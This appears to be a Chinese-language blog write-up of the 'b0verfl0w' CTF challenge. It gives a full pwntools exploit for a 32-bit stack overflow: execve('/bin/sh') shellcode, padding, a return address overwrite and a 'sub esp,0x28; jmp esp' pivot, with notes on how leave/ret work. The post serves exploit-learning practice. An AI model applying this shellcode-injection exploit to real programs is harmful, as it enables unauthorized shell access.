b0verfl0w 32位elf文件,安全配置如下:
存在堆栈溢出漏洞,但是栈不大,只有0x38。
看了下exp,比较简单的一段exp,还是花了三个小时,网络安全这玩意一直在看,就是没动手,导致基础不扎实,很多东西看了就忘记,自己写了下exp标注下,先看下栈的分配
io = process(elf.path)
#execv('/bin/sh')
payload = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
###### 存在溢出漏洞的数组长度只有0x20,前面一行只有0x15,下面用12个'b'填充
payload += 'b'*(0x20-len(payload))
#ebp
payload += '\x90'*4
#eip
payload += p32(0x08048504)
#######这段代码费了两个小时,记录一下。上图为存在溢出漏洞的vul()函数
溢出后,会调用leave和retl,就是这俩指令的费了近两小时来理解
leave: mov esp,ebp;pop ebp,esp先指向esp,pop ebp后esp指向eip(看exp时一时没反应过来pop ebp也会使esp -4)
ret:pop eip;jmp 同上面一样,esp也是-4,指向eip后面的内存单元,pop eip需要使esp-4也没有反应过来
到此,esp指向eip后面的单元,esp-0x28(0x20(数组长度) + 0x4(ebp) + 0x4(eip))到了数组start,也就是shellcode起始处,jmp esp即开始运行shellcode
payload += asm('sub esp,0x28;jmp esp')
io.send(payload)
io.interactive()
年纪大了,记性不好,最近调bilstm + crf代码,很多tensorflow语法都忘光了,如果读大学那伙知道现在的方向,绝对比现在成就高。
网友评论